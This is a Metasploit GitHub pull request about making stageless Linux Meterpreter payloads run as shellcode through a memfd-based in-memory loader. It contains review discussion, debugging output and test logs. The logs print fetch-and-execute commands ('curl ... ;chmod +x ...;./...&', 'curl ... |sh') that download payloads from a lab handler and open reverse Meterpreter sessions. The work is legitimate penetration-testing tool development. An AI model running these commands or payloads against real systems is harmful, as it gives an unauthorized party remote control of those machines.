Skip to content

Conversation

@dledda-r7
Copy link
Contributor

@dledda-r7 dledda-r7 commented Jan 10, 2025

This PR Fixes the issue of linux stageless meterpreter.
Issue: #19670

Issue Description

The stageless linux meterpreters are ELF files that cannot be used as standard stageless shellcode payload.

Staged vs Stageless Linux Meterpreter

Staged

The Linux staged meterpreter is divided in 3 component

  • A stager (connect back to msf to download the next stage)
  • an intermediate stager that download the ELF on a RWX mmap, setup the stack and and jump on the e_entry of the ELF
  • the Process Hollowing Friendly version of mettle's ELF

This version of the ELF is generated when we build mettle using the following tool: elf2bin

Stageless

The stageless mettle payload is the ELF file (standard elf) with the patched args.

Code Handling Staged vs Stageless

Mettle main.c

	/*
	 * Check to see if we were injected by metasploit | staged
	 */
	if (strcmp(argv[0], "m") == 0) {
		flags |= PAYLOAD_INJECTED;

		/*
		 * There is a fd sitting here, trust me
		 */
		int fd = (int)((long *)argv)[1];
		char *uri;
		if (asprintf(&uri, "fd://%d", fd) > 0) {
			struct c2 *c2 = mettle_get_c2(m);
			c2_add_transport_uri(c2, uri);
			free(uri);
		}
		parse_default_args(m, flags);
	} else {

#ifndef HAVE_SETPROCTITLE
		/* Prepare for later setproctitle emulation */
		saved_argv = calloc(argc + 1, sizeof(*saved_argv));
		for (int i = 0; i < argc; i++) {
			saved_argv[i] = strdup(argv[i]);
		}
		compat_init_setproctitle(argc, argv);
		argv = saved_argv;
#endif

		parse_default_args(m, flags);    // <- MSFVENOM REPLACE THE DEFAULT OPTION PARSED HERE
		if (parse_cmdline(argc, argv, m, flags)) {
			return -1;
		}
	}

Solution

For each architecture, a shellcode implementing this technique was made.
NOTE: This technique works only with Kernel >= 3.17

Instead of delivering the ELF only, the raw shellcode will be composed by the in-memory-loader arch specific shellcode and the elf file at the end of it.

Super thanks to @msutovsky-r7

What architectures fix this pr:

  • linux/x86
  • linux/x64
  • linux/armle
  • linux/armbe (emulated)
  • linux/aarch64
  • linux/mips
  • linux/mipsel (to check device avaiability)
  • linux/mips64 (find target with kernel 3.17 / updated one of the targets)
  • linux/ppc ( to be removed)
  • linux/ppc64le (emulated)
  • linux/ppce500v2
  • linux/zarch (emulated)

What is inside the PR and How to test it

  • The <arch>/in_memory_loader.rb include the architecture specific shellcode to be prepended to the ELF binary.
  • The addition to an empty <arch>/prepends.rb mixin for the missing architectures.
  • Templates ELF binary and sources for missing architectures.
  • The creation of a Mettle-specific datastore option for the selection of the binary compatibility to 2.6 or to 3.17 kernels.
  • warning display if a prepends is applied when the kernel ds option is 2.6.
  • Modification of the meterpreter_reverse.erb template for payload generation.

What to test

  • Ensure the ELF delivered when MeterpreterLinuxMinKernel is 2.6+ is the same as before
  • Ensure the ELF delivered when MeterpreterLinuxMinKernel is 3.17 is using the correct ELF template and is executed on a compatible target.
  • Ensure the prepends are applied on the payload when MeterpreterLinuxMinKernel is 3.17 otherwise a warning is showed.

@msutovsky-r7 msutovsky-r7 self-assigned this Jan 14, 2025
@dledda-r7 dledda-r7 force-pushed the fix/mettle-stageless-payload branch from b3f3b8c to 128ac84 Compare February 10, 2025 08:11
@smcintyre-r7 smcintyre-r7 added enhancement rn-payload-enhancement release notes for enhanced payloads labels Feb 14, 2025
@dledda-r7 dledda-r7 marked this pull request as ready for review February 14, 2025 11:36
@dledda-r7 dledda-r7 changed the title [WIP] Fix Linux Stageless Payload to be Shellcodes Fix Linux Stageless Payload to be Shellcodes Feb 14, 2025
@msutovsky-r7 msutovsky-r7 removed their assignment Feb 14, 2025
@bwatters-r7 bwatters-r7 self-assigned this Apr 8, 2025
@bwatters-r7
Copy link
Contributor

This makes a lot of sense- my only complaint is that we need to comment the asm a lot more, especially when you're doing shenanigans. 😆

@bwatters-r7
Copy link
Contributor

Also, what are you using to test this? Do you have a elf that supports injection, or are you only testing by creating an elf stager from the shellcode?

@msutovsky-r7
Copy link
Contributor

Also, what are you using to test this? Do you have a elf that supports injection, or are you only testing by creating an elf stager from the shellcode?

I generated ELF file using msfvenom and for actual testing, I used mostly qemu-static-[arch]. For some architectures, that was bit problem, like s390, so in that case, I had Linux OS running through qemu. So generally, for testing, I used qemu.

@msutovsky-r7 msutovsky-r7 force-pushed the fix/mettle-stageless-payload branch from 2025792 to 56c4506 Compare May 12, 2025 09:58
Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor cheat sheet additions

@bwatters-r7
Copy link
Contributor

x64

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use payload/cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set MeterpreterLinuxMinKernel 3.17+ 
MeterpreterLinuxMinKernel => 3.17+
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set prependsetuid true 
prependsetuid => true
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler
[*] Command served: curl -so ./YcZpMZsOWVJ http://10.5.135.201:8080/s-Ca9BmTKo-IpFX8XiUd8w;chmod +x ./YcZpMZsOWVJ;./YcZpMZsOWVJ&
[*] Command to run on remote host: curl -s http://10.5.135.201:8080/aoG3_q_U5dSCB61zrJpJEQ|sh
[*] Payload Handler Started as Job 2
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > 
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /s-Ca9BmTKo-IpFX8XiUd8w
[*] Adding resource /aoG3_q_U5dSCB61zrJpJEQ
[*] Started reverse TCP handler on 10.5.135.201:4585 
[*] Client 10.5.134.164 requested /aoG3_q_U5dSCB61zrJpJEQ
[*] Sending payload to 10.5.134.164 (curl/7.81.0)
[*] Client 10.5.134.164 requested /s-Ca9BmTKo-IpFX8XiUd8w
[*] Sending payload to 10.5.134.164 (curl/7.81.0)
[*] Meterpreter session 1 opened (10.5.135.201:4585 -> 10.5.134.164:41258) at 2025-06-10 14:44:18 -0500

msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 10.5.134.164
OS           : Ubuntu 22.04 (Linux 6.8.0-1028-azure)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Jun 10, 2025

AARCH64

msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > set MeterpreterLinuxMinKernel 3.17+ 
MeterpreterLinuxMinKernel => 3.17+
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > set prependsetuid true
prependsetuid => true
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > jobs -K
Stopping all jobs...
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > set verbose true
verbose => true
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./SDeLtHAov http://10.5.135.201:8080/TQMDQzG-j3qlgupsFHwcUQ;chmod +x ./SDeLtHAov;./SDeLtHAov&
[*] Payload Handler Started as Job 3
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > 
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /TQMDQzG-j3qlgupsFHwcUQ
[*] Started reverse TCP handler on 10.5.135.201:4585 
[*] Client 10.5.132.214 requested /TQMDQzG-j3qlgupsFHwcUQ
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Meterpreter session 2 opened (10.5.135.201:4585 -> 10.5.132.214:48214) at 2025-06-10 14:47:11 -0500

msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : 10.5.132.214
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: kali

@bwatters-r7
Copy link
Contributor

ARMLE

msf6 payload(cmd/linux/http/armle/meterpreter_reverse_tcp) > set meterpreterlinuxminkernel 3.17+ 
meterpreterlinuxminkernel => 3.17+
msf6 payload(cmd/linux/http/armle/meterpreter_reverse_tcp) > set prependsetuid true 
prependsetuid => true
msf6 payload(cmd/linux/http/armle/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./WZmRLbLOTRP http://10.5.135.201:8080/OcFXJxS3XJGwQI9E1fvCLA;chmod +x ./WZmRLbLOTRP;./WZmRLbLOTRP&
[*] Payload Handler Started as Job 0
msf6 payload(cmd/linux/http/armle/meterpreter_reverse_tcp) > 
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /OcFXJxS3XJGwQI9E1fvCLA
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Client 10.5.132.212 requested /OcFXJxS3XJGwQI9E1fvCLA
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.212:42594) at 2025-06-11 14:01:42 -0500

msf6 payload(cmd/linux/http/armle/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 10.5.132.212
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Jun 11, 2025

MIPSLE

This fails with segfault. I'm running it on a router, so I cannot get GDB installed, but gdb server works.

(gdb) target remote 10.5.134.135:6785
Remote debugging using 10.5.134.135:6785
Reading /home/ubnt/nHMEUdqNk from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /home/ubnt/nHMEUdqNk from remote target...
Reading symbols from target:/home/ubnt/nHMEUdqNk...
(No debugging symbols found in target:/home/ubnt/nHMEUdqNk)
Reading /usr/lib/debug/.build-id/5a/dc2f32cfab9c3295eff7905db52e01ef1771f0.debug from remote target...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
0x00400054 in ?? ()
(gdb) start
The "remote" target does not support "run".  Try "help target" or "continue".
(gdb) continue
Continuing.
process 3834 is executing new program: /memfd: (deleted)
Reading /memfd: (deleted) from remote target...
warning: "target:/memfd: (deleted)": could not open as an executable file: No such file or directory.
Reading /memfd: (deleted) from remote target...
warning: `target:/memfd: (deleted)': can't open to read symbols: No such file or directory.

Program received signal SIGSEGV, Segmentation fault.
0x77fb5dd0 in ?? ()

Linux version:

ubnt@ubnt:~$ Linux ubnt 4.14.54-UBNT #1 SMP Thu Jun 15 09:00:10 UTC 2023 mips GNU/Linux

EDIT
The "legacy" meterpreter works.

msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set MeterpreterLinuxMinKernel 2.6+ 
MeterpreterLinuxMinKernel => 2.6+
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set prependsetuid false
prependsetuid => false
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./ViIsYiXmd http://10.5.135.201:8080/CT_Drzu24xtplYEAbOltEg;chmod +x ./ViIsYiXmd;./ViIsYiXmd&
[*] Payload Handler Started as Job 3
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > 
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /CT_Drzu24xtplYEAbOltEg
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Client 10.5.134.135 requested /CT_Drzu24xtplYEAbOltEg
[*] Sending payload to 10.5.134.135 (curl/7.52.1)
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.135:33584) at 2025-06-11 16:58:28 -0500

@dledda-r7 dledda-r7 force-pushed the fix/mettle-stageless-payload branch from 5192b65 to 0407bb7 Compare June 11, 2025 21:57
@msutovsky-r7
Copy link
Contributor

MIPSLE

This fails with segfault. I'm running it on a router, so I cannot get GDB installed, but gdb server works.

(gdb) target remote 10.5.134.135:6785
Remote debugging using 10.5.134.135:6785
Reading /home/ubnt/nHMEUdqNk from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /home/ubnt/nHMEUdqNk from remote target...
Reading symbols from target:/home/ubnt/nHMEUdqNk...
(No debugging symbols found in target:/home/ubnt/nHMEUdqNk)
Reading /usr/lib/debug/.build-id/5a/dc2f32cfab9c3295eff7905db52e01ef1771f0.debug from remote target...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
0x00400054 in ?? ()
(gdb) start
The "remote" target does not support "run".  Try "help target" or "continue".
(gdb) continue
Continuing.
process 3834 is executing new program: /memfd: (deleted)
Reading /memfd: (deleted) from remote target...
warning: "target:/memfd: (deleted)": could not open as an executable file: No such file or directory.
Reading /memfd: (deleted) from remote target...
warning: `target:/memfd: (deleted)': can't open to read symbols: No such file or directory.

Program received signal SIGSEGV, Segmentation fault.
0x77fb5dd0 in ?? ()

Linux version:

ubnt@ubnt:~$ Linux ubnt 4.14.54-UBNT #1 SMP Thu Jun 15 09:00:10 UTC 2023 mips GNU/Linux

EDIT The "legacy" meterpreter works.

msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set MeterpreterLinuxMinKernel 2.6+ 
MeterpreterLinuxMinKernel => 2.6+
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set prependsetuid false
prependsetuid => false
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./ViIsYiXmd http://10.5.135.201:8080/CT_Drzu24xtplYEAbOltEg;chmod +x ./ViIsYiXmd;./ViIsYiXmd&
[*] Payload Handler Started as Job 3
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > 
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /CT_Drzu24xtplYEAbOltEg
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Client 10.5.134.135 requested /CT_Drzu24xtplYEAbOltEg
[*] Sending payload to 10.5.134.135 (curl/7.52.1)
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.135:33584) at 2025-06-11 16:58:28 -0500

It's causing segfault on this instruction:

0x77fb5dd0    lb     $v0, ($a0)     <Cannot dereference [0]>

So the issue is with Meterpreter itself - on qemu, it seems to be working though.

UPDATE:
It seems like the issue is with execveat instruction, which works, but somehow, it's not. Everything works as expected until that syscall - running file descriptor from different shell will run meterpreter. But somehow, spawning process with execveat breaks something and the meterpreter doesn't work.

@msutovsky-r7 msutovsky-r7 force-pushed the fix/mettle-stageless-payload branch from f66a5aa to 725fd05 Compare December 9, 2025 13:54
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes look good, just left a couple of comments. I'll look at what still needs to be tested to get those over the line next.

app << appends_map.fetch(name) if datastore[name]
end
if ds['PayloadLinuxMinKernel'] == '2.6' && (!pre.empty? || !app.empty?) && !staged?
fail_with(Msf::Module::Failure::BadConfig, 'Prepend options only work with PayloadLinuxMinKernel = 3.17.')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Msf::Module::Failure::BadConfig, 'Prepend options only work with PayloadLinuxMinKernel = 3.17.')
fail_with(Msf::Module::Failure::BadConfig, 'Prepend options only work with PayloadLinuxMinKernel >= 3.17.')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I see your suggestion but since the PyaloadLinuxMinKernel is an ENUM type isn't it more correct to use the =? since they have to set exactly that value from the enum

Comment on lines +43 to +46
if ds['PayloadLinuxMinKernel'] == '3.17'
return in_memory_load(payload) + payload
end<% end %>
payload
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I didn't know this was templatized, that's great! I'd recommend these changes.

  1. Using Rex::Version should help future proof things by ensuring that we can adjust the number later on.
  2. Move the clause that's executed when the version is < 3.17 to the branch. This will clean things up as we add additional code in the future since the kernel isn't getting any younger. Basically when we require something else after 3.17, we'll add it to the end of the function instead of further burying it in the conditional.
Suggested change
if ds['PayloadLinuxMinKernel'] == '3.17'
return in_memory_load(payload) + payload
end<% end %>
payload
if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')
return payload
end
in_memory_load(payload) + payload<% else %>
payload
<% end %>

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  1. I didn't catch why you need the dynamic version checking here, can you explain why do you think this number will change in the future? like if we implement another technique?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

like if we implement another technique?

Exactly this. In 10 years when kernel 8 comes out and we're looking to do something requiring kernel version 4.something, we'll have to go through and update all these things. It's better to do it now while we know where all the changes need to be made.

@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Dec 9, 2025

To get this landed, it looks like these are all the architectures where the in-memory loader needs to be tested:

HOW TO TEST IT

use payload/linux/<arch>/meterpreter_reverse_tcp
set LHOST
set PayloadLinuxMinPayload 2.6
generate -f elf -o ~/<whatever>/meterpreter.<arch>.legacy.elf

set PayloadLinuxMinPayload 3.17
generate -f elf -o ~/<whatever>/meterpreter.<arch>.elf

@bwatters-r7

  • aarch64
  • armle
  • mips64
  • mipsle

@smcintyre-r7

  • mipsbe
  • x64
  • x86
  • zarch

TO BE DROPPED @dledda-r7

  • ppc (copied to both)
  • ppc64le
  • ppce500v2
  • armbe

@jbx81-1337
Copy link

@smcintyre-r7, as per our discussion on slack. This morning i double checked the ppc64le and indeed is seg-faulting... this is not because of this pr, but is a Meterpreter issue. I remember couple of months ago mettle.ppc64le was working, this may be a regression. Leaving attached the proof that the problem is not related to the PR.

Binary with PayloadLinuxMinKernel = 3.17

root@debian:/home/debian# chmod +x metsrv.ppc64le.elf
root@debian:/home/debian# strace ./metsrv.ppc64le.elf
execve("./metsrv.ppc64le.elf", ["./metsrv.ppc64le.elf"], 0x3ffffc3748d0 /* 22 vars */) = 0
memfd_create("", 0)                     = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0\25\0\1\0\0\0\314\234\0\0\0\0\0\0"..., 1311576) = 1311576
execve("/proc/self/fd//////////////3", NULL, NULL) = 0
set_tid_address(0x3fffb26be090)         = 825
brk(NULL)                               = 0x139ade000
brk(0x139adf000)                        = 0x139adf000
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x3fffb2676a38}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=398, tv_nsec=380533363}) = 0
getpid()                                = 825
clock_gettime(CLOCK_REALTIME, {tv_sec=1765443186, tv_nsec=61547859}) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=398, tv_nsec=389209653}) = 0
eventfd2(0, EFD_CLOEXEC|EFD_NONBLOCK)   = 4
fcntl(4, F_SETFD, FD_CLOEXEC)           = 0
fcntl(4, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa09a0} ---
+++ killed by SIGSEGV +++
Segmentation fault
root@debian:/home/debian#

Binary with PayloadLinuxMinKernel = 2.6

root@debian:/home/debian# strace ./metsrv.ppc64le.legacy.elf
execve("./metsrv.ppc64le.legacy.elf", ["./metsrv.ppc64le.legacy.elf"], 0x3fffd8d21b50 /* 22 vars */) = 0
set_tid_address(0x3fff964fe090)         = 834
brk(NULL)                               = 0x12799a000
brk(0x12799b000)                        = 0x12799b000
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x3fff964b6a38}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=469, tv_nsec=486607077}) = 0
getpid()                                = 834
clock_gettime(CLOCK_REALTIME, {tv_sec=1765443257, tv_nsec=166288209}) = 0
clock_gettime(CLOCK_MONOTONIC, {tv_sec=469, tv_nsec=491160847}) = 0
eventfd2(0, EFD_CLOEXEC|EFD_NONBLOCK)   = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa09a0} ---
+++ killed by SIGSEGV +++
Segmentation fault
root@debian:/home/debian#

At this point the discussion we need to have is if want to support or not support ppc / ppc64le

@smcintyre-r7
Copy link
Contributor

If it's a Meterpreter issue then, I should be able to test the stageless shell payloads linux/(ppc|ppc64)/shell_reverse_tcp but we don't have a PPC64LE shell payload. If the shell payload works for PPC, we can unblock that aspect, but for PPC64LE, we may want to remove everything because that'd imply the only payload is Meterpreter which is broken.

@dledda-r7
Copy link
Contributor Author

dledda-r7 commented Dec 11, 2025

No you can't because this Fix was specifically for stageless meterpreter as they are the only ELF we deliver that needs to be transformed to shellcodes

the stageless shells are just shellcode and doesn't need any in memory loader

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement payload rn-payload-enhancement release notes for enhanced payloads

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

6 participants